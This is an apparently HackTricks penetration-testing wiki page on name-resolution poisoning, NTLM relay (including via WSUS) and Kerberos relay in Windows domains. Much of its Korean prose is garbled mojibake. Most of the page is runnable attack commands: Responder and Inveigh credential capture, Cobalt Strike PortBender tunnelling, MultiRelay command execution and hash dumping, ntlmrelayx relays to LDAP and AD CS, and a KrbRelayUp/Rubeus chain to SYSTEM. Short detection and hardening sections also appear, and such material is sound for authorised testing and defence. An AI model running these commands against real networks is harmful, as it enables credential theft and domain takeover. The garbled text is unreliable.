Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Network Protocols
Local Host Resolution Protocols
- LLMNR, NBT-NS, and mDNS:
- Microsoft ๋ฐ ๊ธฐํ ์ด์์ฒด์ ๋ DNS๊ฐ ์คํจํ ๋ ๋ก์ปฌ ์ด๋ฆ ํ์ธ์ ์ํด LLMNR ๋ฐ NBT-NS๋ฅผ ์ฌ์ฉํฉ๋๋ค. ์ ์ฌํ๊ฒ, Apple ๋ฐ Linux ์์คํ ์ mDNS๋ฅผ ์ฌ์ฉํฉ๋๋ค.
- ์ด๋ฌํ ํ๋กํ ์ฝ์ UDP๋ฅผ ํตํ ์ธ์ฆ๋์ง ์์ ๋ธ๋ก๋์บ์คํธ ํน์ฑ ๋๋ฌธ์ ๊ฐ๋ก์ฑ๊ธฐ ๋ฐ ์คํธํ์ ์ทจ์ฝํฉ๋๋ค.
- Responder ๋ฐ Dementor๋ ํด๋น ํ๋กํ ์ฝ์ ์ง์ํ๋ ํธ์คํธ์ ๋ํด ์์กฐ ์๋ต์ ๋ณด๋ด ์๋น์ค ์ฌ์นญ์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
- Responder๋ฅผ ์ฌ์ฉํ ์๋น์ค ์ฌ์นญ์ ๋ํ ์ถ๊ฐ ์ ๋ณด๋ here์์ ํ์ธํ ์ ์์ต๋๋ค.
Web Proxy Auto-Discovery Protocol (WPAD)
- WPAD๋ ๋ธ๋ผ์ฐ์ ๊ฐ ํ๋ก์ ์ค์ ์ ์๋์ผ๋ก ๊ฒ์ํ ์ ์๊ฒ ํฉ๋๋ค.
- ๊ฒ์์ DHCP, DNS๋ฅผ ํตํด ์ํ๋๋ฉฐ DNS๊ฐ ์คํจํ๋ฉด LLMNR ๋ฐ NBT-NS๋ก ํด๋ฐฑ๋ฉ๋๋ค.
- Responder๋ WPAD ๊ณต๊ฒฉ์ ์๋ํํ์ฌ ํด๋ผ์ด์ธํธ๋ฅผ ์ ์ฑ WPAD ์๋ฒ๋ก ์ ๋ํ ์ ์์ต๋๋ค.
Responder/Dementor for Protocol Poisoning
-
Responder๋ LLMNR, NBT-NS, mDNS ์ง์๋ฅผ ํฌ์ด์ฆ๋ํ๋ ๋๊ตฌ๋ก, ์ง์ ์ ํ์ ๋ฐ๋ผ ์ ํ์ ์ผ๋ก ์๋ตํ๋ฉฐ ์ฃผ๋ก SMB ์๋น์ค๋ฅผ ํ์ ์ผ๋ก ํฉ๋๋ค.
-
Kali Linux์ ๊ธฐ๋ณธ ์ค์น๋์ด ์์ผ๋ฉฐ
/etc/responder/Responder.conf์์ ๊ตฌ์ฑํ ์ ์์ต๋๋ค. -
Responder๋ ์บก์ฒํ ํด์๋ฅผ ํ๋ฉด์ ํ์ํ๊ณ
/usr/share/responder/logs๋๋ ํฐ๋ฆฌ์ ์ ์ฅํฉ๋๋ค. -
IPv4 ๋ฐ IPv6์ ๋ชจ๋ ์ง์ํฉ๋๋ค.
-
Windows์ฉ Responder ๋ฒ์ ์ here์์ ์ด์ฉ ๊ฐ๋ฅํฉ๋๋ค.
-
Dementor๋ ๋ฉํฐ์บ์คํธ ํฌ์ด์ฆ๋ ์ฃผ์ ๋ฅผ ํ์ฅํ๋ฉฐ ์ถ๊ฐ๋ก ์ ์ฑ ์๋น์ค ์ ๊ณต์(์: CUPS RCE ์ง์)๋ก ๋์ํฉ๋๋ค.
-
์ ์ฒด ๊ตฌ์กฐ๋ Responder์ ์ ์ฌํ์ง๋ง ๋ณด๋ค ์ธ๋ถํ๋ ๊ตฌ์ฑ์ ์ ๊ณตํฉ๋๋ค. (๊ธฐ๋ณธ์ ์ฌ๊ธฐ: Dementor.toml)
-
Dementor์ Responder ๊ฐ ํธํ์ฑ์ ๋ค์์์ ํ์ธํ ์ ์์ต๋๋ค: Compatibility Matrix
-
์๊ฐ ๋ฐ ๋ฌธ์๋ ์ฌ๊ธฐ: Dementor - Docs
-
ํน์ ํ๋กํ ์ฝ์์ Responder๋ก ์ธํด ๋ฐ์ํ ์บก์ฒ ๋ฌธ์ ๋ฅผ ์์ ํฉ๋๋ค.
Running Responder
- ๊ธฐ๋ณธ ์ค์ ์ผ๋ก Responder ์คํ:
responder -I <Interface> - ๋ ๊ณต๊ฒฉ์ ์ธ ํ๋ก๋น(๋ถ์์ฉ ๊ฐ๋ฅ) ์คํ:
responder -I <Interface> -P -r -v - ํฌ๋ํน์ ์ฝ๊ฒ ํ๊ธฐ ์ํ NTLMv1 ์ฑ๋ฆฐ์ง/์๋ต ์บก์ฒ ๊ธฐ๋ฒ:
responder -I <Interface> --lm --disable-ess - WPAD ์ฌ์นญ ํ์ฑํ:
responder -I <Interface> --wpad - NetBIOS ์์ฒญ์ ๊ณต๊ฒฉ์ IP๋ก ํด๊ฒฐํ๊ณ ์ธ์ฆ ํ๋ก์๋ฅผ ์ค์ :
responder.py -I <interface> -Pv
Running Dementor
- ๊ธฐ๋ณธ ์ค์ ์ผ๋ก ์คํ:
Dementor -I <interface> - ๋ถ์ ๋ชจ๋์์ ๊ธฐ๋ณธ ์ค์ ์ผ๋ก ์คํ:
Dementor -I <interface> -A - ์๋ NTLM ์ธ์
๋ค์ด๊ทธ๋ ์ด๋(ESS):
Dementor -I <interface> -O NTLM.ExtendedSessionSecurity=Off - ์ฌ์ฉ์ ์ ์ ๊ตฌ์ฑ์ผ๋ก ํ์ฌ ์ธ์
์คํ:
Dementor -I <interface> --config <file.toml>
DHCP Poisoning with Responder
- DHCP ์๋ต์ ์คํธํํ๋ฉด ํผํด์์ ๋ผ์ฐํ ์ ๋ณด๋ฅผ ์๊ตฌ์ ์ผ๋ก ์ค์ผ์ํฌ ์ ์์ด ARP ํฌ์ด์ฆ๋๋ณด๋ค ์๋ฐํ ๋์์ด ๋ฉ๋๋ค.
- ๋์ ๋คํธ์ํฌ ๊ตฌ์ฑ์ ๋ํ ์ ํํ ์ง์์ด ํ์ํฉ๋๋ค.
- ๊ณต๊ฒฉ ์คํ:
./Responder.py -I eth0 -Pdv - ์ด ๋ฐฉ๋ฒ์ NTLMv1/2 ํด์๋ฅผ ํจ๊ณผ์ ์ผ๋ก ์บก์ฒํ ์ ์์ง๋ง ๋คํธ์ํฌ ์ค๋จ์ ํผํ๊ธฐ ์ํด ์ ์คํ ์ฒ๋ฆฌ๊ฐ ํ์ํฉ๋๋ค.
Capturing Credentials with Responder/Dementor
- Responder/Dementor๋ ์์์ ์ธ๊ธํ ํ๋กํ ์ฝ์ ์ฌ์ฉํ์ฌ ์๋น์ค๋ฅผ ์ฌ์นญํ๊ณ , ์ฌ์ฉ์๊ฐ ์ฌ์นญ๋ ์๋น์ค์ ์ธ์ฆ์ ์๋ํ ๋ ์๊ฒฉ ์ฆ๋ช (๋ณดํต NTLMv2 Challenge/Response)์ ์บก์ฒํฉ๋๋ค.
- NetNTLMv1๋ก ๋ค์ด๊ทธ๋ ์ด๋ํ๊ฑฐ๋ ESS๋ฅผ ๋นํ์ฑํํ์ฌ ์๊ฒฉ ์ฆ๋ช ์ ๋ ์ฝ๊ฒ ํฌ๋ํนํ๋๋ก ์๋ํ ์ ์์ต๋๋ค.
Itโs crucial to note that employing these techniques should be done legally and ethically, ensuring proper authorization and avoiding disruption or unauthorized access.
Inveigh
Inveigh๋ Windows ์์คํ ์ ๋์์ผ๋ก ํ๋ penetration testers ๋ฐ red teamers์ฉ ๋๊ตฌ๋ก, Responder์ ์ ์ฌํ ๊ธฐ๋ฅ์ ์ ๊ณตํ๋ฉฐ ์คํธํ ๋ฐ ์ค๊ฐ์ ๊ณต๊ฒฉ์ ์ํํฉ๋๋ค. ์ด ๋๊ตฌ๋ PowerShell ์คํฌ๋ฆฝํธ์์ C# ๋ฐ์ด๋๋ฆฌ๋ก ๋ฐ์ ํ์ผ๋ฉฐ ์ฃผ์ ๋ฒ์ ์ผ๋ก๋ Inveigh ๋ฐ InveighZero๊ฐ ์์ต๋๋ค. ์์ธํ ๋งค๊ฐ๋ณ์์ ์ง์นจ์ wiki์์ ํ์ธํ ์ ์์ต๋๋ค.
Inveigh can be operated through PowerShell:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
๋๋ C# ๋ฐ์ด๋๋ฆฌ๋ก ์คํ:
Inveigh.exe
NTLM Relay Attack
์ด ๊ณต๊ฒฉ์ SMB ์ธ์ฆ ์ธ์ ์ ์ด์ฉํด ๋์ ๋จธ์ ์ ์ ๊ทผํ๋ฉฐ, ์ฑ๊ณตํ๋ฉด system shell์ ํ๋ํฉ๋๋ค. ์ฃผ์ ์ ์ ์กฐ๊ฑด์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- ์ธ์ฆํ๋ ์ฌ์ฉ์๋ relayed host์์ Local Admin access๋ฅผ ๊ฐ์ง๊ณ ์์ด์ผ ํฉ๋๋ค.
- SMB signing์ ๋นํ์ฑํ๋์ด์ผ ํฉ๋๋ค.
445 Port Forwarding and Tunneling
์ง์ ๋คํธ์ํฌ ์ง์ ์ด ๋ถ๊ฐ๋ฅํ ์ํฉ์์๋ ํฌํธ 445 ํธ๋ํฝ์ ํฌ์๋ฉํ๊ณ ํฐ๋๋งํด์ผ ํฉ๋๋ค. PortBender ๊ฐ์ ๋๊ตฌ๋ ํฌํธ 445 ํธ๋ํฝ์ ๋ค๋ฅธ ํฌํธ๋ก ๋ฆฌ๋ค์ด๋ ํธํ๋ ๋ฐ ๋์์ด ๋๋ฉฐ, driver loading์ ์ํด local admin access๊ฐ ๊ฐ๋ฅํ ๊ฒฝ์ฐ ํ์์ ์ ๋๋ค.
PortBender setup and operation in Cobalt Strike:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
NTLM Relay Attack์ฉ ๊ธฐํ ๋๊ตฌ
- Metasploit: proxies, ๋ก์ปฌ ๋ฐ ์๊ฒฉ ํธ์คํธ ์ ๋ณด๋ฅผ ์ค์ ํ์ฌ ์ฌ์ฉ.
- smbrelayx: SMB ์ธ์ ์ ์ค๊ณํ๊ณ ๋ช ๋ น ์คํ ๋๋ ๋ฐฑ๋์ด ๋ฐฐํฌ๋ฅผ ์ํด ์ฌ์ฉํ๋ Python ์คํฌ๋ฆฝํธ.
- MultiRelay: Responder ์ค์ํธ์ ๋๊ตฌ๋ก ํน์ ์ฌ์ฉ์ ๋๋ ๋ชจ๋ ์ฌ์ฉ์๋ฅผ ์ค๊ณํ๊ณ , ๋ช ๋ น์ ์คํํ๊ฑฐ๋ ํด์๋ฅผ ๋คํํจ.
๊ฐ ๋๊ตฌ๋ ํ์ ์ SOCKS proxy๋ฅผ ํตํด ๋์ํ๋๋ก ๊ตฌ์ฑํ ์ ์์ด, ๊ฐ์ ์ ์ธ ๋คํธ์ํฌ ์ ๊ทผ ํ๊ฒฝ์์๋ ๊ณต๊ฒฉ์ ์ํํ ์ ์๋ค.
MultiRelay ๋์
MultiRelay๋ /usr/share/responder/tools ๋๋ ํฐ๋ฆฌ์์ ์คํ๋๋ฉฐ, ํน์ IP๋ ์ฌ์ฉ์๋ฅผ ๋์์ผ๋ก ํ๋ค.
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
These tools and techniques form a comprehensive set for conducting NTLM Relay attacks in various network environments.
Abusing WSUS HTTP (8530) for NTLM Relay to LDAP/SMB/AD CS (ESC8)
WSUS clients authenticate to their update server using NTLM over HTTP (8530) or HTTPS (8531). When HTTP is enabled, periodic client check-ins can be coerced or intercepted on the local segment and relayed with ntlmrelayx to LDAP/LDAPS/SMB or AD CS HTTP endpoints (ESC8) without cracking any hashes. This blends into normal update traffic and frequently yields machine-account authentications (HOST$).
What to look for
- GPO/registry configuration under HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate and โฆ\WindowsUpdate\AU:
- WUServer (e.g., http://wsus.domain.local:8530)
- WUStatusServer (reporting URL)
- UseWUServer (1 = WSUS; 0 = Microsoft Update)
- DetectionFrequencyEnabled and DetectionFrequency (hours)
- WSUS SOAP endpoints used by clients over HTTP:
- /ClientWebService/client.asmx (approvals)
- /ReportingWebService/reportingwebservice.asmx (status)
- Default ports: 8530/tcp HTTP, 8531/tcp HTTPS
Reconnaissance
- Unauthenticated
- Scan for listeners: nmap -sSVC -Pn โopen -p 8530,8531 -iL
- Sniff HTTP WSUS traffic via L2 MITM and log active clients/endpoints with wsusniff.py (HTTP only unless you can make clients trust your TLS cert).
- Authenticated
- Parse SYSVOL GPOs for WSUS keys with MANSPIDER + regpol (wsuspider.sh wrapper summarises WUServer/WUStatusServer/UseWUServer).
- Query endpoints at scale from hosts (NetExec) or locally:
nxc smb
-u -p -M reg-query -o PATH=โHKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdateโ KEY=โWUServerโ reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
End-to-end HTTP relay steps
-
Position for MITM (same L2) so a client resolves the WSUS server to you (ARP/DNS poisoning, Bettercap, mitm6, etc.). Example with arpspoof: arpspoof -i
-t <wsus_client_ip> <wsus_server_ip> -
Redirect port 8530 to your relay listener (optional, convenient): iptables -t nat -A PREROUTING -p tcp โdport 8530 -j REDIRECT โto-ports 8530 iptables -t nat -L PREROUTING โline-numbers
-
Start ntlmrelayx with the HTTP listener (requires Impacket support for HTTP listener; see PRs below): ntlmrelayx.py -t ldap://
-smb2support -socks โkeep-relaying โhttp-port 8530
Other common targets:
- Relay to SMB (if signing off) for exec/dump: -t smb://
- Relay to LDAPS for directory changes (e.g., RBCD): -t ldaps://
- Relay to AD CS web enrollment (ESC8) to mint a cert and then authenticate via Schannel/PKINIT:
ntlmrelayx.py โhttp-port 8530 -t http://
/certsrv/certfnsh.asp โadcs โno-http-server For deeper AD CS abuse paths and tooling, see the AD CS page:
-
Trigger a client check-in or wait for schedule. From a client: wuauclt.exe /detectnow or use the Windows Update UI (Check for updates).
-
Use the authenticated SOCKS sessions (if -socks) or direct relay results for post-exploitation (LDAP changes, SMB ops, or AD CS certificate issuance for later authentication).
HTTPS constraint (8531)
- Passive interception of WSUS over HTTPS is ineffective unless clients trust your certificate. Without a trusted cert or other TLS break, the NTLM handshake canโt be harvested/relayed from WSUS HTTPS traffic.
Notes
- WSUS was announced deprecated but remains widely deployed; HTTP (8530) is still common in many environments.
- Useful helpers: wsusniff.py (observe HTTP WSUS check-ins), wsuspider.sh (enumerate WUServer/WUStatusServer from GPOs), NetExec reg-query at scale.
- Impacket restored HTTP listener support for ntlmrelayx in PR #2034 (originally added in PR #913).
Force NTLM Logins
In Windows you may be able to force some privileged accounts to authenticate to arbitrary machines. Read the following page to learn how:
Force NTLM Privileged Authentication
Kerberos Relay attack
A Kerberos relay attack steals an AP-REQ ticket from one service and re-uses it against a second service that shares the same computer-account key (because both SPNs sit on the same $ machine account). This works even though the SPNsโ service classes differ (e.g. CIFS/ โ LDAP/) because the key that decrypts the ticket is the machineโs NT hash, not the SPN string itself and the SPN string is not part of the signature.
Unlike NTLM relay, the hop is limited to the same host but, if you target a protocol that lets you write to LDAP, you can chain into Resource-Based Constrained Delegation (RBCD) or AD CS enrollment and pop NT AUTHORITY\SYSTEM in a single shot.
For detailed info about this attack check:
-
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
-
https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/
-
- Kerberos basics
| Token | Purpose | Relay relevance |
|---|---|---|
| TGT / AS-REQ โ REP | Proves the user to the KDC | untouched |
| Service ticket / TGS-REQ โ REP | Bound to one SPN; encrypted with the SPN ownerโs key | interchangeable if SPNs share account |
| AP-REQ | Client sends TGS to the service | what we steal & replay |
- Tickets are encrypted with the password-derived key of the account that owns the SPN.
- The Authenticator inside the AP-REQ has a 5-minute timestamp; replay inside that window is valid until the service cache sees a duplicate.
- Windows rarely checks if the SPN string in the ticket matches the service you hit, so a ticket for
CIFS/HOSTnormally decrypts fine onLDAP/HOST.
-
- What must be true to relay Kerberos
- Shared key: source and target SPNs belong to the same computer account (default on Windows servers).
- No channel protection: SMB/LDAP signing off and EPA off for HTTP/LDAPS.
- You can intercept or coerce authentication: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, etc..
- Ticket source not already used: you win the race before the real packet hits or block it entirely; otherwise the serverโs replay cache fires Event 4649.
- You need to somehow be able to perform a MitM in the communication maybe being part of the DNSAmins group to modify the DNS of the domain or being able to change the HOST file of the victim.
Kerberos Relay Steps
- 3.1 Recon the host
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
- 3.2 ๋ฆด๋ ์ด ๋ฆฌ์ค๋ ์์
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
KrbRelayUp๋ KrbRelay โ LDAP โ RBCD โ Rubeus โ SCM bypass๋ฅผ ํ๋์ ๋ฐ์ด๋๋ฆฌ์ ํตํฉํฉ๋๋ค.
- 3.3 Coerce Kerberos auth
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
DFSCoerce๋ DC๊ฐ Kerberos CIFS/DC01 ํฐ์ผ์ ์ฐ๋ฆฌ์๊ฒ ๋ณด๋ด๋๋ก ๋ง๋ญ๋๋ค.
- 3.4 Relay the AP-REQ
KrbRelay๋ SMB์์ GSS blob์ ์ถ์ถํ์ฌ LDAP bind๋ก ์ฌํฌ์ฅํ ๋ค์ ldap://DC01๋ก ์ ๋ฌํฉ๋๋คโ์ธ์ฆ์ด ์ฑ๊ณตํ๋๋ฐ ๊ทธ ์ด์ ๋ ๋์ผํ ํค๋ก ์ด๋ฅผ ๋ณตํธํํ๊ธฐ ๋๋ฌธ์
๋๋ค.
- 3.5 Abuse LDAP โ RBCD โ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
You now own NT AUTHORITY\SYSTEM.
์์๋ ๋งํ ์ถ๊ฐ ๊ฒฝ๋ก
| Vector | Trick | Why it matters |
|---|---|---|
| AuthIP / IPSec | ์ ์ฑ ์๋ฒ๊ฐ ์์์ SPN์ผ๋ก GSS-ID payload๋ฅผ ์ ์กํ๋ฉด; ํด๋ผ์ด์ธํธ๊ฐ ์ง์ ๋น์ ์๊ฒ AP-REQ๋ฅผ ์์ฑ | ์๋ธ๋ท์ ๋์ด์๋ ๋์; ๊ธฐ๋ณธ์ ์ผ๋ก machine creds ์ฌ์ฉ |
| DCOM / MSRPC | ์ ์ฑ OXID resolver๊ฐ ํด๋ผ์ด์ธํธ๊ฐ ์์์ SPN๊ณผ ํฌํธ๋ก ์ธ์ฆํ๋๋ก ๊ฐ์ | ์์ํ ๋ก์ปฌ ๊ถํ ์์น; ๋ฐฉํ๋ฒฝ ์ฐํ |
| AD CS Web Enroll | Relay machine ticket to HTTP/CA and get a cert, then PKINIT to mint TGTs | LDAP ์๋ช ๋ฐฉ์ด ์ฐํ |
| Shadow Credentials | msDS-KeyCredentialLink๋ฅผ ๊ธฐ๋กํ ๋ค์ ์กฐ์๋ ํค ์์ผ๋ก PKINIT ์ํ | ์ปดํจํฐ ๊ณ์ ์ ์ถ๊ฐํ ํ์ ์์ |
๋ฌธ์ ํด๊ฒฐ
| Error | Meaning | Fix |
|---|---|---|
KRB_AP_ERR_MODIFIED | ํฐ์ผ ํค โ ๋์ ํค | ์๋ชป๋ ํธ์คํธ/SPN |
KRB_AP_ERR_SKEW | ์๊ณ ์ค์ฐจ > 5๋ถ | ์๊ฐ ๋๊ธฐํ ๋๋ w32tm ์ฌ์ฉ |
| LDAP bind fails | ์๋ช ๊ฐ์ | AD CS ๊ฒฝ๋ก ์ฌ์ฉ ๋๋ ์๋ช ๋นํ์ฑํ |
| Event 4649 spam | ์๋น์ค๊ฐ ์ค๋ณต Authenticator๋ฅผ ๊ด์ฐฐํจ | ์๋ณธ ํจํท ์ฐจ๋จ ๋๋ ๋ ์ด์ค |
ํ์ง
- ๊ฐ์ ์์ค์์ ๋ช ์ด ๋ด์
CIFS/,HTTP/,LDAP/์ ๋ํ Event 4769 ๊ธ์ฆ. - ์๋น์ค์ Event 4649๋ ์ฌ์(replay) ๊ฐ์ง๋จ์ ๋ํ๋.
- 127.0.0.1์์์ Kerberos ๋ก๊ทธ์จ(๋ก์ปฌ SCM์ผ๋ก์ ๋ฆด๋ ์ด)์ ๋งค์ฐ ์์ฌ์ค๋ฌ์ โ KrbRelayUp ๋ฌธ์์ Sigma ๋ฃฐ๋ก ๋งคํ.
msDS-AllowedToActOnBehalfOfOtherIdentity๋๋msDS-KeyCredentialLink์์ฑ ๋ณ๊ฒฝ ๊ฐ์.
๋ณด์ ๊ฐํ
- ๋ชจ๋ ์๋ฒ์์ LDAP & SMB signing + EPA ๊ฐ์ ์ ์ฉ.
- Split SPNs์ผ๋ก HTTP๊ฐ CIFS/LDAP์ ๋์ผํ ๊ณ์ ์ ์์ง ์๋๋ก ๋ถ๋ฆฌ.
- coercion ๋ฒกํฐ ํจ์น (PetitPotam KB5005413, DFS, AuthIP).
- ์
์ฑ ์ปดํจํฐ ๊ฐ์
์ ๋ง๊ธฐ ์ํด
ms-DS-MachineAccountQuota = 0์ค์ . - Event 4649 ๋ฐ ์์์น ๋ชปํ ๋ฃจํ๋ฐฑ Kerberos ๋ก๊ทธ์จ์ ๋ํ ๊ฒฝ๊ณ ์ค์ .
References
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://intrinium.com/smb-relay-attack-tutorial/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
- WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)
- GoSecure โ Abusing WSUS to enable NTLM relaying attacks
- Impacket PR #2034 โ Restore HTTP server in ntlmrelayx
- Impacket PR #913 โ HTTP relay support
- WSUScripts โ wsusniff.py
- WSUScripts โ wsuspider.sh
- MS-WSUSOD โ Windows Server Update Services: Server-to-Client Protocol
- Microsoft โ WSUS deprecation announcement
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


